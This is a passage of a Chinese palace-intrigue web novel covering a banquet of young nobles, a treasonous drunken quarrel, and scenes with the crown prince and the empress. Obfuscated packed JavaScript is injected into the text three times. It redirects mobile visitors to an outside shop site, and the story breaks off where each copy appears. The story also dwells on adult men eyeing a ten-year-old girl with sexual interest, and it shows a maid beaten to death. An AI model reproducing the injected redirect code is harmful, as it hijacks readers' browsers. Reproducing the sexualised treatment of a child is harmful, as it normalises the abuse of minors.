寒木挑了挑眉,却也没说什么,寒星自嘲般地笑了笑,“主公怀疑我很久了,如果我不赶紧给自己找个弱点出来,只怕他真的会杀了我。而且今日摆明了就是魏晗烨设的一个局,若是不赶紧离开,注定有一场恶战,可我若是和主公说我看出了这一点,主公定然更加忌惮我,所以说,我还不如把事情推到一个女人身上,既保全了自己,又解了主公的疑心。” 寒木一副了然的模样,“既然你没有动心,还有什么可愁的?” 夜色岑岑,如同一个寂寥落寞的深渊,贪婪地吞噬着人间悲欢。 寒星凝视着它,缓缓摇头,“我也不知道。” 9. 一宴缀锦楼 长街,缀锦楼。 小丫头盼儿正在门口掷石子儿玩,街上车水马龙,很是热闹,她玩得专心,没留意里头的动静,直到她娘叫到第四遍的时候,她这才听到。 盼儿应了一声,扔下手里的石子儿,趿着鞋子便往酒楼里跑, 盼儿的娘姓尹,街上的人都叫她尹娘子。尹娘子从前在缀锦楼对面的红翠馆中跳过月余的舞,花名妩娘,其实她的模样并不算十分出众,在美女如云的红翠馆里不过是中人之姿,但她天生别有一股风流韵味,很招男人喜欢,倒也担得起这个“妩”字。 后来,尹娘子被缀锦楼的掌柜黄大相中,带回家做了姨娘。黄大虽是不入流的商贾之辈,却是家财万贯,对于尹娘子来说也算不错的归宿。但这黄大的妻子丰氏却是一个极不好相与的主儿,对还怀着身孕的尹娘子动辄打骂,逼得尹娘子只好搬出黄府,在缀锦楼里住了下来,她本指望生个带把的,名正言顺地回府,却不想肚子不争气,头胎便是个丫头片子。 黄大惧内,又见尹娘子没生出儿子来,也便不再提要接她回府的事儿了。尹娘子心里头憋着一口气,又不敢和黄大争吵,就把火气全都撒到了盼儿的身上。 这会子,她一迭声叫了盼儿四五次,都没听见回应,早叉着腰找了出来,正好被往里跑的盼儿撞了个正着。 尹娘子“诶呦”一声,照着盼儿的脸就是一巴掌,“你个没长眼睛的赔钱货,往哪里跑?” 盼儿捂着脸,眼泪在眼睛里头直打转儿。 尹娘子揪住她的耳朵,“老娘还没哭,你倒先哭起来,我让你哭,我让你哭。” 一面说,一面便去掐盼儿大腿里侧的肉。 盼儿强忍着,没让眼泪落下来,只是断断续续抽噎着。 店小二来福看不下去,笑着把盼儿护到了身后,“尹娘子,楼上还等着呢,可别误了事。” 尹娘子气呼呼地甩开了手,“算了,你把她带上去吧。” 尹娘子往里走了两步,忽又回过身来,指着盼儿恨声道,“楼上坐着的可都是贵客,你给我好生伺候着,要是出了一点儿差错,仔细我揭了你的皮。” 来福用湿帕子给盼儿擦了擦脸,哄道,“好盼儿,你别害怕,刚刚有个姐姐身子不舒服,不能在楼上伺候了,一时凑不出人手,你娘要你去顶那个缺儿,你一会儿跟着来福哥哥上楼,低着头,少说话,他们让你做什么你就做什么就是了,别怕。” 盼儿点了点头,小心翼翼地跟在来福身后。她越往楼上走,便越觉得安静,仿佛底下的那些喧嚷全都被她甩下去了似的。 说起来,盼儿还从未上过三楼,尹娘子怕她冲撞了贵人们,一向不准她上去,盼儿知道,能在三楼坐着的都是非富即贵的主儿,轻易得罪不得。 楼上五彩摇曳,十色竞华,贴金红纱的栀子灯映在光洁明亮的梓板上,一圈圈打着转儿。 盼儿踮起脚,一步一步走在上头,她心里有些胆怯,轻声问道,“来福哥哥,楼上都有谁呀?” 来福上下扫视一圈,压低了声音道,“就算告诉了你名字,你也都不认识,你只消记住,千万别得罪裴公子、方公子、小李公子、席容家的二少爷、还有宁小侯爷这几个人就是了。裴家太爷乃是三朝元老,方家则是太后娘娘的本家,这两位说话办事都有分寸,倒还无妨。席容公子嘛,惯是会怜香惜玉的,也不用怕。” “要当心的是小李公子,还有宁小侯爷,小李公子是吏部尚书的小儿子,从小被娇惯的不成个样子,那个宁小侯爷,呸,更是个好色之徒,成日睡在女人堆儿里,连模样俊俏的小厮也不放过。你千万远着他些,可别让他给祸害了。要是情况不对,你就去求席容公子,他最疼女孩儿了,一定会救你的。” 说话间,二人已经到了雅间门口,盼儿隔着屏风,依稀瞧见里面人影憧憧。 来福弓着身子,“小的给几位爷送酒来了。” 里面有人喊了声,“进来。” 来福脸上堆满了笑,回身招呼着盼儿跟上。 盼儿躲在来福身后,大着胆子张望着屋里的人。 屋内酒气萦绕,两张黄花梨冰纹托泥月牙桌拼成了一个大圆桌,坐了约莫有六七个人,每两人中间有一个缀锦楼的丫鬟跪着斟酒。 盼儿瞧见其中有个位置是空着的,她知道这便是自己要顶的缺儿,连忙垂首走了过去。 她刚跪下,便听到一个人的笑声,“哈哈哈,这是哪里来的毛丫头,她才多大,就知道上来伺候人了。” 盼儿左边的男子闻言,用折扇挑起了她的下巴,一副饶有兴味的模样,“丫头,几岁了?” 盼儿被迫微仰着头,眼睛却不敢往上看,只瞥见了男子竹青色的袖口滚了一圈的金边儿,“十岁了。” 男子嗤之一笑,翻腕收了扇子,目光在她的耳畔流连。 盼儿右边的男子笑道,“怎么,明台对此女有意?” 席容弥德笑了笑,“哪里,方兄玩笑了。” 一开始哈哈大笑的那人问道,“来福,这丫头你从哪儿弄的,不会是红翠馆里的雏儿吧?” 来福回道,“宁小侯爷,这是我们掌柜的女儿,今日人手周转不开,这才让她顶了上来。” 宁凯风砸吧了一下嘴,“这样啊,那多不好,你快领回去吧。” 来福弓着身子往外退,“侯爷客气了,几位爷吃好喝好,有什么吩咐随时叫小的过来。” 宁凯风旁边的人叫冯遇,是京县县承冯同庆的表亲,他不知道怎么搭上了宁凯风这条船,成天和他混在一处,胡吃海喝,这会子见他动了心思,有意奉承他,便附在他的耳边说道,“侯爷有所不知,这丫头原是黄大和红翠馆里的妩娘生的,呵呵,什么好出身。” “啊——原来是她——”宁凯风不怀好意的笑了起来,“来,丫头,过来让大爷疼疼你。” 席容弥德闻言,皱了皱眉,挡在盼儿身前,“梦元,这儿是缀锦楼,不是红翠馆,你再这样胡闹,下次吃酒就不带你的份儿了。” 宁凯风笑道,“明台莫恼,我不过是看这丫头怪可怜见的,寻思逗一逗她,既这么着,我不说就是了。啧啧啧,你呀,真真是处处留情。” 裴延敬看向李莲蓉,“文敏,令兄今日怎么没同你一道过来?” 李莲蓉打了个哈哈,“他呀,整天忙来忙去的,哪有咱们这份逍遥自在。” 方承鹤笑道,“是了,我每次下帖子请文正赴宴,他也总有一多半都来不了,原以为啊,他是作假,不成想呢,他是真忙,到底是吏部员外郎,不是咱们这些闲人能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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裴延敬摇头道,“咱们还是行个雅令吧,就行四书令,如何?咱们在座每人说四句话,一句人名,一句地名,一句草药名,最后一句则要含上在座任意一位的字号,四句攒成一句,还都要在四书里找到出处。” 宁凯风连忙摆手,“我四书统共都没读过几章,这不是坑死人了吗,我不行这个令。” 席容弥德笑道,“划拳太俗,四书又太难为人了,我说一个玩法,也是一人说四句话。如今正是春日,便一人说一句有关春天的旧诗,一句有关春天的旧词,一句有关春天的古文,这最后一句嘛,四书五经也可,诗词歌赋也可,不拘什么,只要能合上席间的人事物就行。只一点,这四句话需得连成一句,还得叫人听了不觉得突兀。” 李莲蓉拊掌而笑,“明台说得这个有趣,咱们就行这个令!” 裴延敬点头,看向席容弥德身侧的男子,“那便从这位兄台开始吧,对了,还不知这位兄台高姓大名?” 席容弥德为他介绍道,“这位是大理寺右寺丞申远的嫡长子申无忧,表字行之,去岁才中了举人,累得他病了一个月,这不,我带他出来散散心。” 宁凯风闻说,长吁了一口气,拍着胸脯道,“行之,我和你一样读不下去那些狗屁文章,你要是不想考了,只管来找我,别的不敢说,在军营里给你找个官儿做做,我还是办得到的。” 申无忧忙拱手道,“多谢宁兄。” 方承鹤心里暗笑,宁凯风虽是袭了宁远侯的爵位,不过就是个空名罢了,哪有什么实权,别说做官,就是想往军营里塞人都困难,他这话也就在酒桌上随便说说罢了,要是真信了,就闹出笑话了。他虽然心里瞧不起宁凯风,面上却并不表露,只是笑着抬手,“行之,请吧。” 10. 五俊行春令 申无忧饮了酒,便道,“昼静帘疏燕语频,春归何处?温风如酒,匙挑不上,箸拨不开。”[1] 众人都说“妙得很,凑起来竟像是浑然天成的一句话”,唯有宁凯风愁眉苦脸的抱怨,“他一个人就占了两样东西,等到了我这里,还有什么可说的呢。” 席容弥德赞了一回,也饮了酒,说道,“烟景抱空意,天为谁春?影来池里,花落衫中,无微情以效爱兮,献江南之明珰。”[2] 方承鹤瞥了一眼盼儿空空如也的耳畔,笑道,“明台,你又捉弄人家小姑娘了。” 宁凯风还没听懂,扯着李莲蓉问,“文敏,他说耳坠子做什么,席上哪有人带那玩意。” 李莲蓉指了指盼儿,又指了指席容弥德,睨着眼笑,“这是明台揣着坏心思,逗人家呢。” 另一边,方承鹤已经开始说了,“欢颜酌春酒,一杯且买明朝事,信可乐也,”他夹起盘中的一块烧鹅,送进口中,“三十六簧寒不起,醉把红鹅笙炙。”[3] 裴延敬吃了口酒,沉吟道,“千里莺啼绿映江,又是经年,把酒临风,义气激青云。”[4] 方承鹤举杯,“存义果然好志向!来,承鹤敬你一杯!” 裴延敬便又举杯,“请。” 李莲蓉环顾一圈,目光落在了自己手中的象牙扇上,遂饮了酒,笑道,“我也有了一个。” “快说快说。” “春风不相识,何事入罗帏,夜月一帘幽梦,共金炉之夕香,似这等含情掩卧象牙床,几时得阳台上遇着多才俊。”[5] 宁凯风才要叫好,却发现已经轮到自己了,急得头上直冒汗,他瞪大了眼睛,搜肠刮肚的想从自己的将军肚里刮出些墨水来,却是一丁点也无。 他趁着大家不备,踢了身边的冯遇一脚,低声道,“子离,你快帮我想想办法呀。” 冯遇刚才琢磨了大半日,也只得了一个,这会子见他要,只得附在他耳上,欲和他说,偏方承鹤眼尖,瞧见了,笑道,“了不得了,快罚梦元和子离一杯。” 李莲蓉正好挨着宁凯风坐,他素日便是最爱热闹的,这会子哪有不跟着凑趣儿的道理,拿起酒杯上去就灌,宁凯风呛得咳嗽起来,样子别提有多狼狈了。 裴延敬笑道,“若是做不出来,还要再罚。” 宁凯风拿袖子胡乱蹭了蹭下巴上的酒水,不服气道,“不就是诌几句诗吗,谁不会呀。” 众人笑着催他,“那你倒是快说呀。” “嗯——嗯——”宁凯风支支吾吾了半日,忽然喜笑颜开起来,“有了!都给我听好了!” 裴延敬不自觉正了正身子,方承鹤忍着笑去拉席容弥德,席容弥德原本正和盼儿说笑,这会子被方承鹤一拉,也看向了宁凯风。李莲蓉才夹了一块眼前的荔枝肉,还没送进嘴里,现下听他要说,肉也不吃了,搁下筷子,专心等着他的下文。 宁凯风清了清嗓子,得意道,“红豆生南国,脉脉双含绛小桃,柔滑如脂,哈哈哈哈,跪在床前忙要亲!”[6] 李莲蓉笑得肚子疼,伏在桌子上指着陆凯风骂,“你呀——你呀——” 方承鹤憋住笑,“梦元,你满嘴里说的都是些什么?该不会是你想要上床了,就编出了这些上床的话吧。” “哼,仰山兄,你也太没见识了,关汉卿的《一半题情儿》,难道你都没听过?存义兄,你说是不是,咱们上次可是一块听的这首曲子,对了,明台也在。” 裴延敬神色尴尬,不欲接话,席容弥德笑笑,“梦元说得不错,末一句确实是有出处的,不过,”他话锋一转,“旁的也就罢了,或许是我所知有限,不曾听过,只是这‘柔滑如脂’一句,该是出自司马长卿的《美人赋》吧?” 宁凯风语气越发得意,“不错。” 方承鹤点点头,接着席容弥德的话说道,“司马长卿在文中可没有提过是春日还是冬日,”他促狭一笑,“莫非梦元就是那日的亲历者,方能知道得如此详细?” 宁凯风本就被罚了几杯酒,现下被他抢白了一场,更是急得红了脸,越性口无遮拦起来,“文章里都说了,什么女乃驰其上服,表其亵衣,皓体呈露,弱骨丰肌,她衣服都脱干净了,肯定不是冬天呀,不然,岂不是把美人给冻死了吗。”[7] 众人听了,哄堂大笑,宁凯风犹是不觉,扯着冯遇问道,“子离,你说是不是?” 冯遇能说什么,自然还是奉承话,“侯爷说得妙,极妙。” 李莲蓉给侧旁跪着的丫鬟使眼色,丫鬟便斟了一满杯的酒,李莲蓉接过酒杯,笑嘻嘻地凑到宁凯风身边,唤着,“梦元——” 宁凯风正和冯遇聊得火热,听见李莲蓉喊他,只把头微微转了过来,身子还向那头拧着,“文敏找我何——” 他的话还没说完,李莲蓉就把酒灌进了他的口中,因为灌得太急,酒水洒的到处都是,有的甚至流到了宁凯风的鼻子里,裴延敬赶紧出言阻止,“开玩笑也得有个度,别闹得太过。” 李莲蓉这才罢手,捧腹而笑。 宁凯风接连咳嗽了好几声,他一甩袖子,上去就掐住了李莲蓉的脖子,“你个小兔崽子,不过是仗着你爹你哥的威风,竟敢捉弄起我来了。” 李莲蓉也是个不让人的,和他扭在一起,还没忘记争辩,“哼,你还说我,你难道不是沾了祖上的光,不然,就你,一个偏房庶出的幺孙,怎配同我们坐在一张桌子上?” 裴延敬说了声“不好”,赶紧就去拉李莲蓉,“文敏,快住口!” 那边的冯遇也去拽宁凯风,“侯爷,咱们快起来吧。” 冯遇不说这句“侯爷”还好,一提起这个,宁凯风更是气不打一处来,“我呸,我祖上可是大名鼎鼎的宁远侯,先帝的表兄弟,要不是新帝谋反,抄了宁远侯府,你们李家还不是得恭维着我们宁家,先帝对你们也是圣眷优容,可你们却甘心做新帝走狗,上赶子舔他的腚!” 裴延敬听到这话,额上冷汗涔涔而落,他知道,这些话若是传了出去,席上这些人就都不用活了,他回头冲方承鹤喊道,“仰山,快来帮忙!” 方承鹤乃是太后一派,同李家,宁家都没有什么交情,原本是打定主意看好戏的,现下听见裴延敬叫他,少不得做做样子,上前帮着劝和。 席容弥德兀自饮酒,恍若未闻,盼儿在旁瞧着奇怪,“公子怎么不去劝一劝呢?” 席容弥德笑着问她,“劝谁?劝什么?” 盼儿张了张嘴,一时间竟也答不上来。 幸而宁李二人已被拉开,宁凯风刚才还是一副雄赳赳,气昂昂的模样,这会子却是鼻涕一把泪一把,正拉着裴延敬的手哭诉,“存义,我心里苦啊,我知道,我什么本事都没有,要不是宁远侯府的人都死绝了,也轮不到我来承袭这个爵位。可若是没出那档子事儿,我就随心所欲做个浪荡子不好吗,如今,他们都叫我宁小侯爷,可只有我自己知道,没几个人是真心实意这么叫我的,不过就是个虚名罢了……” 裴延敬见他哭得伤心,也有些动容,安慰了他两句,接着劝道,“梦元,你本是个性情中人,怎么也说起糊涂话了,让你袭爵,那是圣上天恩,你不说感恩戴德,反倒抱怨起来,你刚才说的那几句话若是传了出去,那还得了?哎!” 宁凯风虽是个草莽性子,却也知道什么能说,什么不能说,方才是因为在气头上,现下被他这么一说,也知道自己闯了大祸,不禁后悔不迭。 “但求裴兄救我!” 裴延敬思量片刻,“你若肯听我的,我保你无恙。” 宁凯风大喜,“我听!我都听!” “你只要去和文敏道个歉,这件事儿就还有转机。” “什么?凭什么要我和他道歉!我不去!” “梦元,说到底,人家文敏只是灌了你两口酒,你也是知道他的,他就是小孩子心性,本是玩笑之举,是你自己吃多了酒,上了火气,对着人家一顿嘲讽,这才惹出了后头的事儿。今日在场之人,我与你自不必说,便是仰山、明台、还有明台带来的行之,你带来的子离,也都不会往外头胡言乱语的。你同文敏道个歉,这件事儿就算了了。” 宁凯风知道裴延敬说得在理,可他还是咽不下去这口气,于是,他横着眼睛扫了一圈,“这几个缀锦楼的丫鬟又不是瞎子,聋子,哑巴,她们难道不会说话?” 方承鹤目光阴冷地看向几个丫鬟,“你们今日都看到了什么,听到了什么?” 几个丫鬟跪着伏在地上,一个劲儿地摇头,“没,我们什么都没看见,什么都没听见。” 申无忧声音温和,说出来的话却是冷酷无情,“今天这件事儿,若是传出去了一个字,你们就都搬到我那里去住吧,我会用狱里的家伙式尽心招待,把你们一个一个,好生送走。” 丫鬟们吓得脸都白了,声音发颤,“不,不敢。” 席容弥德笑了笑,“不敢就好,行了,你们都起来吧。” 宁凯风冲着李莲蓉一抱拳,“文敏,是我不好,我和你道个歉。” 李莲蓉虽然和宁凯风差不多年纪,身量却没有他那么粗壮厚实,手上又没有多少力气,刚才吃尽了亏,衣服还被扯坏了一块,这会子正在闷闷不乐,根本不想搭理宁凯风。 裴延敬便给李莲蓉使眼色,方承鹤和席容弥德也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502718|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好言相劝,李莲蓉这才不情不愿地瞅了宁凯风一眼,拱手道,“方才也有我的不是,我不该说那些讨打的话,梦元,你多担待吧。” 裴延敬如释重负,亲自斟了两杯酒,递到两人手上,“好了,这就算是好了,酒下肚,恩仇罢,这件事,从此以后谁都不准再提。” 众人复又坐下,仍是吃酒行令,顺带着同缀锦楼里的丫鬟时不时调笑两句。 一时,申府的小厮过来传话,“大少爷,老爷说你明日还要温书,嘱你快些回家。” 申无忧不敢久坐,便和众人拱手作别。宁凯风听得“温书”二字,直晃脑袋,“行之,我还是那句话,你要是读不下去了,尽管来找我!” 申无忧一只脚已经跨出去了,这会子又转过身来拱手,“无忧在此谢过梦元兄了。” 说罢,他跟着小厮急匆匆而去。 申无忧一走,方承鹤也起身告罪,“时辰也不早了,我还有几本账簿要看,承鹤便先走一步了,等来日闲了,我再略备薄酒,在寒舍恭候诸位兄台!” 裴延敬笑道,“既这么着,咱们也都散了吧。” 李莲蓉往窗外看了一眼,神色有些郁闷,“太阳还没落山呢,这么早回家有什么意思,还得挨我老子的骂。” 宁凯风也没玩够,一听这话,便拉着李莲蓉说,“文敏,要不咱俩去红翠馆逛逛?” 李莲蓉一乐,才要说好,却又皱起了眉头,“我,我老子不让。” 宁凯风笑着打了个酒嗝,“哈哈哈,你个混世魔王,什么时候变得这么听话了。” 李莲蓉也不打算瞒他,把手一摊,“小爷我没钱啊,他把我的银子都给扣下了。” “嗐,我还当是什么事儿,原来是为着这个,你花多少银子,都算在我身上!”宁凯风说着,一拍胸脯,又打了个酒嗝,熏得李莲蓉赶紧往旁边挪了两步。 宁凯风压根没留意,拽着他就往外走。宁凯风本就吃多了酒,这会子又添上个李莲蓉,走起路来更是摇摇晃晃,冯遇跟在后头小心扶着他们。 裴延敬、方承鹤、席容弥德三个人缓步下了楼,尹娘子笑着过来问好,“唉哟,几位爷这就要走了?吃的可好呀?” 方承鹤笑着指了指裴延敬,“今儿是裴兄做东,尹娘子若要讨账,只管找他讨去。” 尹娘子连忙说道,“方公子说的这是哪里的话,我们盼着几位公子过来坐坐还不能呢,哪还敢跟几位公子算账。” 裴延敬从荷包中掏出一块碎银子,放到尹娘子掌心,“你瞧瞧,够不够。” 尹娘子笑着把银子揣了,“够,够了,谢裴公子赏。” 裴延敬、方承鹤、席容弥德依次上了轿子,听见尹娘子追出来喊,“几位公子慢走——” 席容弥德吩咐车夫,“等裴兄和方兄的轿子走了,咱们再走”,车夫应着“是”。 席容弥德从纱窗里瞧见李莲蓉和宁凯风已经勾肩搭背地进了红翠馆的门,不觉哑然失笑。这两个人都没什么心眼子,凑到一块就容易惹出是非,却又都不记仇,甭管闹出了多大的事,一顿酒的功夫就全忘干净了。 他正想着,就听到轿外有人轻声唤他,“席容公子。” 车夫道,“二少爷,有个小女孩找你呢。” 席容弥德一掀帘子,见是盼儿,便笑道,“上来吧。” 车夫便把盼儿抱上了轿子,盼儿给席容弥德磕了个头,“公子,求您收了我吧。” 席容弥德一愣,他虽然自诩风流,却还没想过对这么小的孩子下手,方才他在席间的话不过是玩笑罢了,没想到她竟当真了。 “盼儿,你还小呢,你不懂男女这些事。” “不,公子,我都懂,真的,我娘都教过我了。公子,你就收了我吧,你要是不肯要我,我娘一定会打死我的。” 席容弥德勾起她的下巴,仔细端详了一阵。她虽然年纪尚小,稚气未脱,眉眼之间却已有了些风尘的味道,颇有几分她娘当年的神韵。要说他没心动,那绝对是假话,不过他屋子里并不缺丫鬟,就这么把她带了回去,也着实说不过去。 他想了想,取下棕玉扇上的红玛瑙坠子,笑着交到了她的手上,“你把这块玛瑙拿回去交差吧,让你娘把它磨成耳坠,就当是信物了,等你长大了,再戴着它来找我。” 盼儿把红玛瑙揣在怀里,她张了张嘴,似乎还想说什么,就听车夫在外头喊,“二少爷,他们的轿子已经走了,咱们也走吗?” 席容弥德“嗯”了一声,“你把这丫头抱下去吧。” 盼儿立在缀锦楼的门口,目送他的轿子越走越远,直到最后没入人海,再也看不见了。 11. 渺渺苏合香 寅时的天还是灰蒙蒙的,没有大亮。 案上的云纹博山香炉吐了一整晚的紫色烟霞,映得整座东宫恍若世外仙山。 魏晗烨在梦里呻吟了两声,他梦到了魏晗煜,他们在梦里玩得很开心,就像小时候一样。魏晗烨和魏晗煜玩捉迷藏,魏晗烨躲在假山后头,没一会儿功夫,魏晗煜就找到了他。 这次,轮到魏晗煜藏了,魏晗烨站在原地,数完了数,就开始找魏晗煜。可是他找呀找,找呀找,怎么也找不到魏晗煜。他急得大喊,“煜弟!煜弟!” 魏晗煜猛然睁开了眼睛,瞧见从窗纱上透过来的一缕稀薄晨光,这才想起自己已经不在暗室里了,而魏晗煜,也已经死了。 他叹了口气,唤道,“云英。” 云风点上灯,服侍魏晗烨起床。 魏晗烨用湿手巾净了面,往门外看了一眼,“袁青还没回来?” 云风摇头,魏晗烨便道,“先传膳吧。” 云风拍了拍手,吩咐传膳。自从太子遇刺一事之后,东宫在膳食方面格外小心。凡是能接触膳食的人,均需登记在册,这些人一家老小的性命全攥在魏皇后手里,绝对不敢有什么异心。 饶是如此,魏皇后还是命这些人分作三班,一日一换,每日由云英在佛前拈了名册,再去安排人手,因此,谁也不知道今日是哪一班人当值,这便又多了一重保障。 魏晗烨刚吃了几口虾圆,就见袁青疾步跨入大殿,“殿下,他来信了。” 魏晗烨放下汤匙,读完了信,随后把信递给袁青,“袁青,你也看看。” 袁青仔细读了一遍,迟疑着问,“殿下,这个人说的话可靠吗?” 魏晗烨淡淡一笑,拿过袁青手中的信,向灯上烧了,“放心,此人身涉十多年前的一场大案,他有把柄落在孤的手里,不敢胡言乱语的。” 袁青这才放心,“那便好。” 魏晗烨想起了信中内容,冷笑道,“这个宁小侯爷还真是口无遮拦,什么话都敢说。” 袁青揣摩着他的心思,“殿下,此事要回禀陛下吗?” “不必,还没到时候,此时回禀,反倒打草惊蛇了。况且,宁凯风草包一个,难成气候。” 袁青颔首称是,魏晗烨瞧见那信已经烧成了灰烬,融化在数不清的细碎尘埃里。 他缓声道,“不过,这个裴延敬倒是个人物,几句话,就为他自己笼络了李、宁两家,他是大魏臣子,听到了这样的大逆不道之言,不想着第一时间回禀父皇,反倒帮着别人遮掩。孤在想,要不要给父皇提个醒儿,多留意一下他们裴家。” 袁青道,“依属下看,这事儿倒也不急,听说陛下已经给裴家女儿下了帖子,邀她入宫参加赏花宴,到时候就看裴家老太爷肯不肯了。” 魏晗烨一听到“赏花宴”,就有些头疼,他知道,他的父皇听了席容贵妃的枕边风,想在赏花宴上把席容家的女儿许配给他,可他不愿意,席容家,那是害死他祖父,害死他祖母,害死他亲弟弟的元凶! 魏晗烨攥紧了拳头,“孤去看看母后。” 云风望着他远去的背影,又看了眼桌上几乎没怎么动过的饭菜,不觉在心底叹了口气。 魏晗烨出了东宫,信步在御花园中穿行。 所经处,花草宜人,可落在他的眼里,却是灰蒙蒙一片。 袁青瞧着方向不对,出言提醒,“殿下,中宫不是在东边儿吗,咱们是不是应该——” “时辰尚早,孤先在园中随便逛逛,等下再去母后那里。” “是。” 幽草掩映,湖水静澜,魏晗烨伸手撑着假山,缓声一叹,“煜弟——” 话落间,一阵微风从水面上掠过,带起一丝轻轻浅浅的苏合香的味道。 魏晗烨怔了怔,环目四顾,却是未见一人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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风一吹,那点烟尘便消散在阳光之下了。 “走吧,我们去母后那里。” 12. 绰绰眼前人 魏皇后用过早膳,云英端了一盏新沏的酽茶过来,魏皇后接过茶,漱了口,歪在贵妃椅上,仔细琢磨着赏花宴的事儿。 她越想,头就越痛,便命身后的小丫鬟为她按摩太阳穴。 丫鬟一个大意,下手略重了些,魏皇后登时就变了脸色,一个巴掌扇了过去。 “贱婢,贱人,你是要害死本宫吗?!” 丫鬟的嘴角被护甲划伤,淅淅沥沥的沁出血来,连忙跪在地上,叩头不迭。 “娘娘恕罪,奴婢不敢啊,奴婢实在是无心之失啊。” 云英侍在一旁,心中清楚魏皇后是在拿这个丫鬟撒气呢。 昨儿是十五,按照祖制,皇上应在皇后宫中用膳,可魏帝却去了仪鸾宫陪席容贵妃。 魏皇后几次派人去请,却都被席容贵妃的侍女给拦了回来。 魏皇后想到这里,脑海中就又浮现出席容贵妃的那张脸来,气得又上去扇了一巴掌。 “贱人,你想害本宫,本宫就先送你下地狱!来人啊,给本宫把这个贱婢拖下去,乱棍打死!” “娘娘,娘娘,奴婢不是故意的,娘娘饶命啊,娘娘饶命啊——” 丫鬟被两个侍卫拖了出去,一路上仍在不停叩头,盼望魏皇后能够转圜心意,饶她不死。 她的头已经磕出了血,蜿蜒而过,在沿路留下了一道长长的血痕。 在场之人无不心惊,俱是大气也不敢出。 云英命人将血痕擦拭干净了,又往熏炉里添了熏香,殿内的血腥味这才淡了一些。 门上的丫鬟怯怯地进来回禀,“娘娘,席容贵妃来了。” 魏皇后眼中杀气腾腾,“她来做什么?” 丫鬟被问得发慌,连声音都是颤抖的,“说是来给娘娘请安。” 云英小心观察着魏皇后的神色,“要不,奴婢去回了她。” “不必了,请她进来。” “是。” 门上的丫鬟应了一声,便快步退了下去,生怕下一个倒霉的就是自己。 不多时,门外便传来了席容贵妃酥酥柔柔的声音。 “姐姐~妹妹来给姐姐请安了~” 席容贵妃摇着手中的那柄玉骨缂丝团扇,笑盈盈走了进来。 魏皇后掩下杀气,挤出一抹浅淡而又不失端庄的微笑,“妹妹有礼了,云英,赐座。” 席容贵妃向四下看了看,笑道,“诶呀,姐姐这里可真是清净啊,要不说姐姐是个有福之人呢,不像妹妹,天生就是个劳碌的命。连向姐姐请安,都得等皇上走了之后才好过来,还望姐姐不要怪罪我呀。” 魏皇后笑容不减,“妹妹说的这是哪里话,帝后同心,本为一体,若是能让皇上开心,本宫自然万安,何时请安又有什么要紧。” “姐姐不生气就好,昨天晚上,皇上原本该来姐姐这里的,妹妹劝了皇上良久,可皇上就是不肯走,姐姐若是生气,就只管骂我吧,千万别怪到皇上身上。” “你能替本宫服侍皇上,本宫谢你还来不及,又怎么会怪你呢。” “姐姐当真贤德,妹妹方才进来的时候,听见了一阵撕心裂肺的嚎叫声,哎哟哟,声音那叫一个惨,妹妹还当是姐姐为着昨晚的事迁怒了婢女,在宫里头大开杀戒了呢。” 魏皇后佯作不知,看了一眼云英,“可有此事?” 云英上前一步,“回娘娘的话,那个婢女名叫乔儿,因为打碎了宫中的粉青釉观音瓶,按照宫规被罚了几下,原本也不是什么太重的刑法,只可惜她命薄,没挨几下就死了。” “哎,本宫说过多少次,宫中禁用严刑,怎么如今还闹出了人命,这不是本宫的罪过吗。” “娘娘宽心,这也只能怨乔儿身子弱,受不住刑。” 魏皇后仍是叹气,唏嘘了好一阵子,“让妹妹见笑了。” 席容贵妃看破不说破,“姐姐心善,才会如此,真是我大魏之幸啊。” “说起大魏之幸,究竟还是国本为要。妹妹深得圣心,日夜陪伴皇上左右,可这肚子,怎么就是不见有动静呢?” 席容贵妃面上微红,“许是当年生漪儿的时候,伤了身子的缘故吧。” “那妹妹可得抓紧了,这后宫的女人呀,就像开不尽的花儿一样,一茬接着一茬。待到明年春天的时候,就不知道又有哪一朵花在这园中含苞待放了。” “多谢姐姐提醒,妹妹到底年轻,还没想到这一层呢。只是,妹妹虽然膝下无子,却是时时刻刻记挂着姐姐的孩儿。眼看太子到了该娶亲的年纪,妹妹害怕皇上忘了姐姐的孩儿,时常在枕边提及。这不,皇上开恩,要为太子赐婚。说起这门婚事,你我姐妹更是亲上加亲,只是,论起两边的辈分来,不知道太子妃是该称呼皇后娘娘为姐姐,还是婆婆呀。” “席容贵妃可真会开玩笑,本宫贵为大魏皇后,按规矩,太子妃自然要唤本宫一声母后。到时候,席容贵妃长了辈分,也当得起庶母的身份了。” 席容贵妃莞尔一笑,“自然了,妹妹与姐姐同喜。现下呀,妹妹就盼着太子妃嫁过来,那才叫一个热闹呢。诶呀,时辰也不早了,估摸着再过一阵,皇上就该来仪鸾宫用午膳了,妹妹就先告退了,省的皇上到时候着急。” 席容贵妃行了一礼,笑吟吟摇着扇子出去了。 魏皇后望着她的背影,脸上的笑意一点点的淡了下去。 “贱人!” “娘娘莫要生气,她摆明了就是来惹娘娘生气的,娘娘要是真生了气,就中了她的套了。” 魏皇后恨恨地咬了咬牙,又想起一件事来。 “对了,她那个妹妹究竟是个怎样的人物?” “席容炎共有五个女儿,长女便是席容贵妃,次女许给了李尚书的儿子,早已定下婚期,四女五女尚未及笄。算起来,要许给太子殿下的那位,应该就是席容家的三小姐席容烟。” “烟?哪一个烟字?” “火因。” “我记得那个贱人不是名琰吗,怎么她妹妹反倒不跟着她从王了。” “席容烟是养女,四五岁的时候,被人从长街捡回宰相府的。” “哦?街上捡的,能有什么好的?”< 